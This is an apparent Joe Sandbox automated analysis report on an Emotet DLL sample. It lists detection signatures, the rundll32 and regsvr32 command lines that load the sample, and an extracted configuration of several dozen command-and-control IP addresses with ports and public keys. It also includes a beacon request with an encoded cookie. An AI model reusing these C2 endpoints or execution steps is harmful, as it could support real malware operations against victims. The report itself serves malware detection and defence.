Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
kOiaWLNKXpjayWeM.dll

Overview

General Information

Sample Name:kOiaWLNKXpjayWeM.dll
Analysis ID:750456
MD5:b7d93d2b47d14264b8b986b2d8fc7a49
SHA1:9310b16c2d7f9195c65cdbecf8c5648525cb80e5
SHA256:139c1faa496ae6c7d7c5140b9f4ac4e34f153bf40cd080c856b96bbd7ae716d2
Infos:

Detection

Emotet
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Multi AV Scanner detection for submitted file
Yara detected Emotet
System process connects to network (likely due to code injection or exploit)
Antivirus detection for URL or domain
Snort IDS alert for network traffic
Creates an autostart registry key pointing to binary in C:\Windows
C2 URLs / IPs found in malware configuration
Hides that the sample has been downloaded from the Internet (zone.identifier)
Queries the volume information (name, serial number etc) of a device
One or more processes crash
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Deletes files inside the Windows folder
May sleep (evasive loops) to hinder dynamic analysis
Uses code obfuscation techniques (call, push, ret)
Creates files inside the system directory
PE file contains sections with non-standard names
Internet Provider seen in connection with other malware
Detected potential crypto function
Found potential string decryption / allocating functions
Sample execution stops while process was sleeping (likely an evasion)
JA3 SSL client fingerprint seen in connection with other malware
Contains functionality to communicate with device drivers
Uses the system / local time for branch decision (may execute only at specific dates)
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Tries to load missing DLLs
Drops PE files to the windows directory (C:\Windows)
Checks if the current process is being debugged
Connects to several IPs in different countries
Registers a DLL
Found large amount of non-executed APIs
Uses Microsoft's Enhanced Cryptographic Provider
Creates a process in suspended mode (likely to inject code)

Classification

Process Tree

  • System is w10x64
  • loaddll64.exe (PID: 6112 cmdline: loaddll64.exe "C:\Users\user\Desktop\kOiaWLNKXpjayWeM.dll" MD5: C676FC0263EDD17D4CE7D644B8F3FCD6)
    • conhost.exe (PID: 6096 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
    • cmd.exe (PID: 6044 cmdline: cmd.exe /C rundll32.exe "C:\Users\user\Desktop\kOiaWLNKXpjayWeM.dll",#1 MD5: 4E2ACF4F8A396486AB4268C94A6A245F)
      • rundll32.exe (PID: 6128 cmdline: rundll32.exe "C:\Users\user\Desktop\kOiaWLNKXpjayWeM.dll",#1 MD5: 73C519F050C20580F8A62C849D49215A)
        • WerFault.exe (PID: 5204 cmdline: C:\Windows\system32\WerFault.exe -u -p 6128 -s 480 MD5: 2AFFE478D86272288BBEF5A00BBEF6A0)
    • regsvr32.exe (PID: 6076 cmdline: regsvr32.exe /s C:\Users\user\Desktop\kOiaWLNKXpjayWeM.dll MD5: D78B75FC68247E8A63ACBA846182740E)
      • regsvr32.exe (PID: 5252 cmdline: C:\Windows\system32\regsvr32.exe "C:\Windows\system32\WVVZhuligM\KuLiEStglluewHbC.dll" MD5: D78B75FC68247E8A63ACBA846182740E)
    • rundll32.exe (PID: 2424 cmdline: rundll32.exe C:\Users\user\Desktop\kOiaWLNKXpjayWeM.dll,?AddArrayString@JKDefragLib@@QEAAPEAPEA_WPEAPEA_WPEA_W@Z MD5: 73C519F050C20580F8A62C849D49215A)
      • WerFault.exe (PID: 3332 cmdline: C:\Windows\system32\WerFault.exe -u -p 2424 -s 472 MD5: 2AFFE478D86272288BBEF5A00BBEF6A0)
    • rundll32.exe (PID: 5228 cmdline: rundll32.exe C:\Users\user\Desktop\kOiaWLNKXpjayWeM.dll,?CallShowStatus@JKDefragLib@@QEAAXPEAUDefragDataStruct@@HH@Z MD5: 73C519F050C20580F8A62C849D49215A)
    • rundll32.exe (PID: 1788 cmdline: rundll32.exe C:\Users\user\Desktop\kOiaWLNKXpjayWeM.dll,?ColorizeItem@JKDefragLib@@QEAAXPEAUDefragDataStruct@@PEAUItemStruct@@_K2H@Z MD5: 73C519F050C20580F8A62C849D49215A)
  • regsvr32.exe (PID: 6128 cmdline: C:\Windows\system32\regsvr32.exe" "C:\Windows\system32\WVVZhuligM\KuLiEStglluewHbC.dll MD5: D78B75FC68247E8A63ACBA846182740E)
    • regsvr32.exe (PID: 5288 cmdline: C:\Windows\system32\regsvr32.exe "C:\Users\user\AppData\Local\WrWLj\BwssvzQrG.dll" MD5: D78B75FC68247E8A63ACBA846182740E)
  • cleanup

Malware Configuration

Threatname: Emotet

{"C2 list": ["218.38.121.17:443", "186.250.48.5:443", "80.211.107.116:8080", "174.138.33.49:7080", "165.22.254.236:8080", "185.148.169.10:8080", "62.171.178.147:8080", "128.199.217.206:443", "210.57.209.142:8080", "36.67.23.59:443", "160.16.143.191:8080", "128.199.242.164:8080", "178.238.225.252:8080", "118.98.72.86:443", "202.134.4.210:7080", "82.98.180.154:7080", "54.37.228.122:443", "64.227.55.231:8080", "195.77.239.39:8080", "103.254.12.236:7080", "103.85.95.4:8080", "178.62.112.199:8080", "83.229.80.93:8080", "114.79.130.68:443", "51.75.33.122:443", "139.196.72.155:8080", "188.165.79.151:443", "190.145.8.4:443", "196.44.98.190:8080", "198.199.70.22:8080", "103.56.149.105:8080", "104.244.79.94:443", "87.106.97.83:7080", "103.71.99.57:8080", "46.101.98.60:8080", "103.126.216.86:443", "103.224.241.74:8080", "37.44.244.177:8080", "85.214.67.203:8080", "202.28.34.99:8080", "175.126.176.79:8080", "85.25.120.45:8080", "93.104.209.107:8080", "103.41.204.169:8080", "78.47.204.80:443", "139.59.80.108:8080"], "Public Key": ["RUNTMSAAAAD0LxqDNhonUYwk8sqo7IWuUllRdUiUBnACc6romsQoe1YJD7wIe4AheqYofpZFucPDXCZ0z9i+ooUffqeoLZU0Hbtn0QADAJI=", "RUNLMSAAAADYNZPXY4tQxd/N4Wn5sTYAm5tUOxY2ol1ELrI4MNhHNi640vSLasjYTHpFRBoG+o84vtr7AJachCzOHjaAJFCWGLt60QACAIg="]}

Yara Signatures

Memory Dumps

SourceRuleDescriptionAuthorStrings
00000004.00000000.253014513.0000022AB0991000.00000020.00001000.00020000.00000000.sdmpJoeSecurity_Emotet_1Yara detected EmotetJoe Security
    00000003.00000002.254435708.0000000002401000.00000020.00001000.00020000.00000000.sdmpJoeSecurity_Emotet_1Yara detected EmotetJoe Security
      00000005.00000000.253546936.0000021CE85C1000.00000020.00001000.00020000.00000000.sdmpJoeSecurity_Emotet_1Yara detected EmotetJoe Security
        00000016.00000002.371644938.0000000002A00000.00000040.00001000.00020000.00000000.sdmpJoeSecurity_Emotet_1Yara detected EmotetJoe Security
          00000003.00000002.254242832.0000000000B00000.00000040.00001000.00020000.00000000.sdmpJoeSecurity_Emotet_1Yara detected EmotetJoe Security
            Click to see the 14 entries

            Unpacked PEs

            SourceRuleDescriptionAuthorStrings
            5.2.rundll32.exe.21ce8590000.1.raw.unpackJoeSecurity_Emotet_1Yara detected EmotetJoe Security
              5.2.rundll32.exe.21ce8590000.1.unpackJoeSecurity_Emotet_1Yara detected EmotetJoe Security
                3.2.regsvr32.exe.b00000.0.raw.unpackJoeSecurity_Emotet_1Yara detected EmotetJoe Security
                  5.0.rundll32.exe.21ce8590000.3.unpackJoeSecurity_Emotet_1Yara detected EmotetJoe Security
                    4.0.rundll32.exe.22ab0780000.3.unpackJoeSecurity_Emotet_1Yara detected EmotetJoe Security
                      Click to see the 13 entries

                      Sigma Signatures

                      ⊘No Sigma rule has matched

                      Snort Signatures

                      Timestamp:192.168.2.3218.38.121.17497144432404324 11/21/22-03:33:25.830611
                      SID:2404324
                      Source Port:49714
                      Destination Port:443
                      Protocol:TCP
                      Classtype:A Network Trojan was detected

                      Joe Sandbox Signatures

                      Click to jump to signature section

                      Show All Signature Results

                      AV Detection

                      barindex
                      Multi AV Scanner detection for submitted file
                      Source: kOiaWLNKXpjayWeM.dllReversingLabs: Detection: 88%
                      Source: kOiaWLNKXpjayWeM.dllVirustotal: Detection: 73%Perma Link
                      Antivirus detection for URL or domain
                      Source: https://218.38.121.17/$Avira URL Cloud: Label: malware
                      Source: 00000008.00000002.767607073.0000000000F14000.00000004.00000020.00020000.00000000.sdmpMalware Configuration Extractor: Emotet {"C2 list": ["218.38.121.17:443", "186.250.48.5:443", "80.211.107.116:8080", "174.138.33.49:7080", "165.22.254.236:8080", "185.148.169.10:8080", "62.171.178.147:8080", "128.199.217.206:443", "210.57.209.142:8080", "36.67.23.59:443", "160.16.143.191:8080", "128.199.242.164:8080", "178.238.225.252:8080", "118.98.72.86:443", "202.134.4.210:7080", "82.98.180.154:7080", "54.37.228.122:443", "64.227.55.231:8080", "195.77.239.39:8080", "103.254.12.236:7080", "103.85.95.4:8080", "178.62.112.199:8080", "83.229.80.93:8080", "114.79.130.68:443", "51.75.33.122:443", "139.196.72.155:8080", "188.165.79.151:443", "190.145.8.4:443", "196.44.98.190:8080", "198.199.70.22:8080", "103.56.149.105:8080", "104.244.79.94:443", "87.106.97.83:7080", "103.71.99.57:8080", "46.101.98.60:8080", "103.126.216.86:443", "103.224.241.74:8080", "37.44.244.177:8080", "85.214.67.203:8080", "202.28.34.99:8080", "175.126.176.79:8080", "85.25.120.45:8080", "93.104.209.107:8080", "103.41.204.169:8080", "78.47.204.80:443", "139.59.80.108:8080"], "Public Key": ["RUNTMSAAAAD0LxqDNhonUYwk8sqo7IWuUllRdUiUBnACc6romsQoe1YJD7wIe4AheqYofpZFucPDXCZ0z9i+ooUffqeoLZU0Hbtn0QADAJI=", "RUNLMSAAAADYNZPXY4tQxd/N4Wn5sTYAm5tUOxY2ol1ELrI4MNhHNi640vSLasjYTHpFRBoG+o84vtr7AJachCzOHjaAJFCWGLt60QACAIg="]}
                      Source: C:\Windows\System32\regsvr32.exeCode function: 3_2_00000001800017A0 CryptStringToBinaryA,CryptStringToBinaryA,3_2_00000001800017A0
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_00000001800017A0 CryptStringToBinaryA,CryptStringToBinaryA,4_2_00000001800017A0
                      Source: unknownHTTPS traffic detected: 218.38.121.17:443 -> 192.168.2.3:49714 version: TLS 1.2
                      Source: C:\Windows\System32\regsvr32.exeCode function: 3_2_000000018000E504 GetSystemTime,SystemTimeToFileTime,FindFirstFileW,swprintf,swprintf,CloseHandle,swprintf,FindNextFileW,FindClose,3_2_000000018000E504
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_000000018000E504 GetSystemTime,SystemTimeToFileTime,FindFirstFileW,swprintf,swprintf,CloseHandle,swprintf,FindNextFileW,FindClose,4_2_000000018000E504
                      Source: C:\Windows\System32\regsvr32.exeCode function: 8_2_029D32FC FindNextFileW,FindFirstFileW,FindClose,8_2_029D32FC
                      Source: C:\Windows\System32\regsvr32.exeCode function: 3_2_000000018000DCA0 RegCreateKeyExW,RegQueryValueExW,RegCloseKey,GetLogicalDriveStringsW,GetLogicalDriveStringsW,GetLastError,3_2_000000018000DCA0

                      Networking

                      barindex
                      System process connects to network (likely due to code injection or exploit)
                      Source: C:\Windows\System32\regsvr32.exeNetwork Connect: 218.38.121.17 443Jump to behavior
                      Snort IDS alert for network traffic
                      Source: TrafficSnort IDS: 2404324 ET CNC Feodo Tracker Reported CnC Server TCP group 13 192.168.2.3:49714 -> 218.38.121.17:443
                      C2 URLs / IPs found in malware configuration
                      Source: Malware configuration extractorIPs: 218.38.121.17:443
                      Source: Malware configuration extractorIPs: 186.250.48.5:443
                      Source: Malware configuration extractorIPs: 80.211.107.116:8080
                      Source: Malware configuration extractorIPs: 174.138.33.49:7080
                      Source: Malware configuration extractorIPs: 165.22.254.236:8080
                      Source: Malware configuration extractorIPs: 185.148.169.10:8080
                      Source: Malware configuration extractorIPs: 62.171.178.147:8080
                      Source: Malware configuration extractorIPs: 128.199.217.206:443
                      Source: Malware configuration extractorIPs: 210.57.209.142:8080
                      Source: Malware configuration extractorIPs: 36.67.23.59:443
                      Source: Malware configuration extractorIPs: 160.16.143.191:8080
                      Source: Malware configuration extractorIPs: 128.199.242.164:8080
                      Source: Malware configuration extractorIPs: 178.238.225.252:8080
                      Source: Malware configuration extractorIPs: 118.98.72.86:443
                      Source: Malware configuration extractorIPs: 202.134.4.210:7080
                      Source: Malware configuration extractorIPs: 82.98.180.154:7080
                      Source: Malware configuration extractorIPs: 54.37.228.122:443
                      Source: Malware configuration extractorIPs: 64.227.55.231:8080
                      Source: Malware configuration extractorIPs: 195.77.239.39:8080
                      Source: Malware configuration extractorIPs: 103.254.12.236:7080
                      Source: Malware configuration extractorIPs: 103.85.95.4:8080
                      Source: Malware configuration extractorIPs: 178.62.112.199:8080
                      Source: Malware configuration extractorIPs: 83.229.80.93:8080
                      Source: Malware configuration extractorIPs: 114.79.130.68:443
                      Source: Malware configuration extractorIPs: 51.75.33.122:443
                      Source: Malware configuration extractorIPs: 139.196.72.155:8080
                      Source: Malware configuration extractorIPs: 188.165.79.151:443
                      Source: Malware configuration extractorIPs: 190.145.8.4:443
                      Source: Malware configuration extractorIPs: 196.44.98.190:8080
                      Source: Malware configuration extractorIPs: 198.199.70.22:8080
                      Source: Malware configuration extractorIPs: 103.56.149.105:8080
                      Source: Malware configuration extractorIPs: 104.244.79.94:443
                      Source: Malware configuration extractorIPs: 87.106.97.83:7080
                      Source: Malware configuration extractorIPs: 103.71.99.57:8080
                      Source: Malware configuration extractorIPs: 46.101.98.60:8080
                      Source: Malware configuration extractorIPs: 103.126.216.86:443
                      Source: Malware configuration extractorIPs: 103.224.241.74:8080
                      Source: Malware configuration extractorIPs: 37.44.244.177:8080
                      Source: Malware configuration extractorIPs: 85.214.67.203:8080
                      Source: Malware configuration extractorIPs: 202.28.34.99:8080
                      Source: Malware configuration extractorIPs: 175.126.176.79:8080
                      Source: Malware configuration extractorIPs: 85.25.120.45:8080
                      Source: Malware configuration extractorIPs: 93.104.209.107:8080
                      Source: Malware configuration extractorIPs: 103.41.204.169:8080
                      Source: Malware configuration extractorIPs: 78.47.204.80:443
                      Source: Malware configuration extractorIPs: 139.59.80.108:8080
                      Source: Joe Sandbox ViewASN Name: OVHFR OVHFR
                      Source: Joe Sandbox ViewASN Name: EcobandGH EcobandGH
                      Source: Joe Sandbox ViewJA3 fingerprint: 8916410db85077a5460817142dcbc8de
                      Source: global trafficHTTP traffic detected: GET / HTTP/1.1Connection: Keep-AliveCookie: CZwFFyjqj=PsvUh5dfSTgXF3Yfky8rapppSN7mDiCvH+dhS2Yyfelw3Uamqit8NZor2F3Wy+WwSOWoqN5+2o3Zhw2FNT71LtRpaSkxFWR1Kg0o99Yo3iDlozWdXVbDKN+LNEQRdtHZJN1d10Z33/NnObB/sxIul9Ns9qbwBnIwcHleye3lvrsI/kzOGvqg3ckWLYjTGAiII7OQEACc/Vokb0xydc70YHeGOJ5LxNaj2PY1k1evPoZnUp8rd747CdSB5js=Host: 218.38.121.17
                      Source: Joe Sandbox ViewIP Address: 188.165.79.151 188.165.79.151
                      Source: Joe Sandbox ViewIP Address: 196.44.98.190 196.44.98.190
                      Source: unknownNetwork traffic detected: IP country count 21
                      Source: unknownNetwork traffic detected: HTTP traffic on port 49714 -> 443
                      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49714
                      Source: unknownTCP traffic detected without corresponding DNS query: 218.38.121.17
                      Source: unknownTCP traffic detected without corresponding DNS query: 218.38.121.17
                      Source: unknownTCP traffic detected without corresponding DNS query: 218.38.121.17
                      Source: unknownTCP traffic detected without corresponding DNS query: 218.38.121.17
                      Source: unknownTCP traffic detected without corresponding DNS query: 218.38.121.17
                      Source: unknownTCP traffic detected without corresponding DNS query: 218.38.121.17
                      Source: unknownTCP traffic detected without corresponding DNS query: 218.38.121.17
                      Source: unknownTCP traffic detected without corresponding DNS query: 218.38.121.17
                      Source: unknownTCP traffic detected without corresponding DNS query: 218.38.121.17
                      Source: unknownTCP traffic detected without corresponding DNS query: 218.38.121.17
                      Source: regsvr32.exe, 00000008.00000003.339955681.0000000000FB3000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000002.768245490.0000000000FB3000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.globalsign.net/root-r2.crl0
                      Source: regsvr32.exe, 00000008.00000003.468907128.0000000000F78000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000002.767607073.0000000000F14000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000003.468748774.0000000000F78000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000002.768041150.0000000000F78000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000003.339924936.0000000000F78000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://218.38.121.17/
                      Source: regsvr32.exe, 00000008.00000002.767607073.0000000000F14000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://218.38.121.17/$
                      Source: global trafficHTTP traffic detected: GET / HTTP/1.1Connection: Keep-AliveCookie: CZwFFyjqj=PsvUh5dfSTgXF3Yfky8rapppSN7mDiCvH+dhS2Yyfelw3Uamqit8NZor2F3Wy+WwSOWoqN5+2o3Zhw2FNT71LtRpaSkxFWR1Kg0o99Yo3iDlozWdXVbDKN+LNEQRdtHZJN1d10Z33/NnObB/sxIul9Ns9qbwBnIwcHleye3lvrsI/kzOGvqg3ckWLYjTGAiII7OQEACc/Vokb0xydc70YHeGOJ5LxNaj2PY1k1evPoZnUp8rd747CdSB5js=Host: 218.38.121.17
                      Source: unknownHTTPS traffic detected: 218.38.121.17:443 -> 192.168.2.3:49714 version: TLS 1.2

                      E-Banking Fraud

                      barindex
                      Yara detected Emotet
                      Source: Yara matchFile source: 00000008.00000002.767607073.0000000000F14000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 5.2.rundll32.exe.21ce8590000.1.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 5.2.rundll32.exe.21ce8590000.1.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 3.2.regsvr32.exe.b00000.0.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 5.0.rundll32.exe.21ce8590000.3.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 4.0.rundll32.exe.22ab0780000.3.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 4.0.rundll32.exe.22ab0780000.3.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 3.2.regsvr32.exe.b00000.0.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 22.2.regsvr32.exe.2a00000.0.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 4.0.rundll32.exe.22ab0780000.1.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 4.2.rundll32.exe.22ab0780000.1.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 5.0.rundll32.exe.21ce8590000.3.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 8.2.regsvr32.exe.2990000.0.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 4.0.rundll32.exe.22ab0780000.1.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 5.0.rundll32.exe.21ce8590000.1.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 4.2.rundll32.exe.22ab0780000.1.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 22.2.regsvr32.exe.2a00000.0.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 5.0.rundll32.exe.21ce8590000.1.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 8.2.regsvr32.exe.2990000.0.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 00000004.00000000.253014513.0000022AB0991000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000003.00000002.254435708.0000000002401000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000005.00000000.253546936.0000021CE85C1000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000016.00000002.371644938.0000000002A00000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000003.00000002.254242832.0000000000B00000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000016.00000002.371681565.0000000002A31000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000008.00000002.768911804.00000000029C1000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000004.00000002.287369701.0000022AB0780000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000004.00000000.254193655.0000022AB0991000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000004.00000000.253580195.0000022AB0780000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000004.00000002.287814441.0000022AB0991000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000005.00000000.255111695.0000021CE8590000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000005.00000002.287467703.0000021CE8590000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000008.00000002.768771937.0000000002990000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000005.00000000.255327053.0000021CE85C1000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000005.00000000.253497739.0000021CE8590000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000005.00000002.287612874.0000021CE85C1000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000004.00000000.251796872.0000022AB0780000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
                      Source: C:\Windows\System32\rundll32.exeProcess created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 6128 -s 480
                      Source: C:\Windows\System32\regsvr32.exeFile deleted: C:\Windows\System32\WVVZhuligM\KuLiEStglluewHbC.dll:Zone.IdentifierJump to behavior
                      Source: C:\Windows\System32\regsvr32.exeFile created: C:\Windows\system32\WVVZhuligM\Jump to behavior
                      Source: C:\Windows\System32\regsvr32.exeCode function: 3_2_0000000180033FF83_2_0000000180033FF8
                      Source: C:\Windows\System32\regsvr32.exeCode function: 3_2_000000018002C0003_2_000000018002C000
                      Source: C:\Windows\System32\regsvr32.exeCode function: 3_2_00000001800320083_2_0000000180032008
                      Source: C:\Windows\System32\regsvr32.exeCode function: 3_2_00000001800060243_2_0000000180006024
                      Source: C:\Windows\System32\regsvr32.exeCode function: 3_2_000000018005F03C3_2_000000018005F03C
                      Source: C:\Windows\System32\regsvr32.exeCode function: 3_2_00000001800350483_2_0000000180035048
                      Source: C:\Windows\System32\regsvr32.exeCode function: 3_2_000000018003A05C3_2_000000018003A05C
                      Source: C:\Windows\System32\regsvr32.exeCode function: 3_2_00000001800370603_2_0000000180037060
                      Source: C:\Windows\System32\regsvr32.exeCode function: 3_2_00000001800470643_2_0000000180047064
                      Source: C:\Windows\System32\regsvr32.exeCode function: 3_2_000000018002A0983_2_000000018002A098
                      Source: C:\Windows\System32\regsvr32.exeCode function: 3_2_00000001800530E03_2_00000001800530E0
                      Source: C:\Windows\System32\regsvr32.exeCode function: 3_2_000000018000D0E03_2_000000018000D0E0
                      Source: C:\Windows\System32\regsvr32.exeCode function: 3_2_00000001800330E43_2_00000001800330E4
                      Source: C:\Windows\System32\regsvr32.exeCode function: 3_2_000000018003B0EC3_2_000000018003B0EC
                      Source: C:\Windows\System32\regsvr32.exeCode function: 3_2_00000001800421083_2_0000000180042108
                      Source: C:\Windows\System32\regsvr32.exeCode function: 3_2_000000018000B10C3_2_000000018000B10C
                      Source: C:\Windows\System32\regsvr32.exeCode function: 3_2_00000001800321143_2_0000000180032114
                      Source: C:\Windows\System32\regsvr32.exeCode function: 3_2_00000001800481203_2_0000000180048120
                      Source: C:\Windows\System32\regsvr32.exeCode function: 3_2_00000001800381203_2_0000000180038120
                      Source: C:\Windows\System32\regsvr32.exeCode function: 3_2_00000001800341483_2_0000000180034148
                      Source: C:\Windows\System32\regsvr32.exeCode function: 3_2_00000001800351543_2_0000000180035154
                      Source: C:\Windows\System32\regsvr32.exeCode function: 3_2_000000018005C18C3_2_000000018005C18C
                      Source: C:\Windows\System32\regsvr32.exeCode function: 3_2_00000001800391A03_2_00000001800391A0
                      Source: C:\Windows\System32\regsvr32.exeCode function: 3_2_000000018005423C3_2_000000018005423C
                      Source: C:\Windows\System32\regsvr32.exeCode function: 3_2_00000001800332503_2_0000000180033250
                      Source: C:\Windows\System32\regsvr32.exeCode function: 3_2_000000018003A2603_2_000000018003A260
                      Source: C:\Windows\System32\regsvr32.exeCode function: 3_2_00000001800372643_2_0000000180037264
                      Source: C:\Windows\System32\regsvr32.exeCode function: 3_2_00000001800322803_2_0000000180032280
                      Source: C:\Windows\System32\regsvr32.exeCode function: 3_2_00000001800342983_2_0000000180034298
                      Source: C:\Windows\System32\regsvr32.exeCode function: 3_2_000000018005F2B83_2_000000018005F2B8
                      Source: C:\Windows\System32\regsvr32.exeCode function: 3_2_00000001800352C03_2_00000001800352C0
                      Source: C:\Windows\System32\regsvr32.exeCode function: 3_2_00000001800072D83_2_00000001800072D8
                      Source: C:\Windows\System32\regsvr32.exeCode function: 3_2_000000018003B3203_2_000000018003B320
                      Source: C:\Windows\System32\regsvr32.exeCode function: 3_2_000000018003832C3_2_000000018003832C
                      Source: C:\Windows\System32\regsvr32.exeCode function: 3_2_00000001800333583_2_0000000180033358
                      Source: C:\Windows\System32\regsvr32.exeCode function: 3_2_00000001800493883_2_0000000180049388
                      Source: C:\Windows\System32\regsvr32.exeCode function: 3_2_00000001800323883_2_0000000180032388
                      Source: C:\Windows\System32\regsvr32.exeCode function: 3_2_00000001800293B03_2_00000001800293B0
                      Source: C:\Windows\System32\regsvr32.exeCode function: 3_2_00000001800353C83_2_00000001800353C8
                      Source: C:\Windows\System32\regsvr32.exeCode function: 3_2_00000001800393D43_2_00000001800393D4
                      Source: C:\Windows\System32\regsvr32.exeCode function: 3_2_00000001800133E83_2_00000001800133E8
                      Source: C:\Windows\System32\regsvr32.exeCode function: 3_2_00000001800343EC3_2_00000001800343EC
                      Source: C:\Windows\System32\regsvr32.exeCode function: 3_2_00000001800334603_2_0000000180033460
                      Source: C:\Windows\System32\regsvr32.exeCode function: 3_2_000000018003A4643_2_000000018003A464
                      Source: C:\Windows\System32\regsvr32.exeCode function: 3_2_000000018000F4643_2_000000018000F464
                      Source: C:\Windows\System32\regsvr32.exeCode function: 3_2_00000001800104883_2_0000000180010488
                      Source: C:\Windows\System32\regsvr32.exeCode function: 3_2_00000001800374903_2_0000000180037490
                      Source: C:\Windows\System32\regsvr32.exeCode function: 3_2_00000001800324903_2_0000000180032490
                      Source: C:\Windows\System32\regsvr32.exeCode function: 3_2_00000001800354D03_2_00000001800354D0
                      Source: C:\Windows\System32\regsvr32.exeCode function: 3_2_00000001800474CC3_2_00000001800474CC
                      Source: C:\Windows\System32\regsvr32.exeCode function: 3_2_000000018000E5043_2_000000018000E504
                      Source: C:\Windows\System32\regsvr32.exeCode function: 3_2_00000001800345283_2_0000000180034528
                      Source: C:\Windows\System32\regsvr32.exeCode function: 3_2_00000001800485243_2_0000000180048524
                      Source: C:\Windows\System32\regsvr32.exeCode function: 3_2_00000001800385303_2_0000000180038530
                      Source: C:\Windows\System32\regsvr32.exeCode function: 3_2_000000018006E5383_2_000000018006E538
                      Source: C:\Windows\System32\regsvr32.exeCode function: 3_2_000000018003356C3_2_000000018003356C
                      Source: C:\Windows\System32\regsvr32.exeCode function: 3_2_000000018002C5803_2_000000018002C580
                      Source: C:\Windows\System32\regsvr32.exeCode function: 3_2_00000001800115803_2_0000000180011580
                      Source: C:\Windows\System32\regsvr32.exeCode function: 3_2_000000018003259C3_2_000000018003259C
                      Source: C:\Windows\System32\regsvr32.exeCode function: 3_2_00000001800355DC3_2_00000001800355DC
                      Source: C:\Windows\System32\regsvr32.exeCode function: 3_2_00000001800395E03_2_00000001800395E0
                      Source: C:\Windows\System32\regsvr32.exeCode function: 3_2_00000001800346303_2_0000000180034630
                      Source: C:\Windows\System32\regsvr32.exeCode function: 3_2_000000018003A6903_2_000000018003A690
                      Source: C:\Windows\System32\regsvr32.exeCode function: 3_2_00000001800376943_2_0000000180037694
                      Source: C:\Windows\System32\regsvr32.exeCode function: 3_2_00000001800076A83_2_00000001800076A8
                      Source: C:\Windows\System32\regsvr32.exeCode function: 3_2_00000001800066D43_2_00000001800066D4
                      Source: C:\Windows\System32\regsvr32.exeCode function: 3_2_00000001800336D83_2_00000001800336D8
                      Source: C:\Windows\System32\regsvr32.exeCode function: 3_2_000000018000B6FC3_2_000000018000B6FC
                      Source: C:\Windows\System32\regsvr32.exeCode function: 3_2_00000001800327083_2_0000000180032708
                      Source: C:\Windows\System32\regsvr32.exeCode function: 3_2_00000001800347383_2_0000000180034738
                      Source: C:\Windows\System32\regsvr32.exeCode function: 3_2_00000001800357483_2_0000000180035748
                      Source: C:\Windows\System32\regsvr32.exeCode function: 3_2_000000018003875C3_2_000000018003875C
                      Source: C:\Windows\System32\regsvr32.exeCode function: 3_2_00000001800337E03_2_00000001800337E0
                      Source: C:\Windows\System32\regsvr32.exeCode function: 3_2_00000001800397EC3_2_00000001800397EC
                      Source: C:\Windows\System32\regsvr32.exeCode function: 3_2_00000001800497EC3_2_00000001800497EC
                      Source: C:\Windows\System32\regsvr32.exeCode function: 3_2_00000001800328143_2_0000000180032814
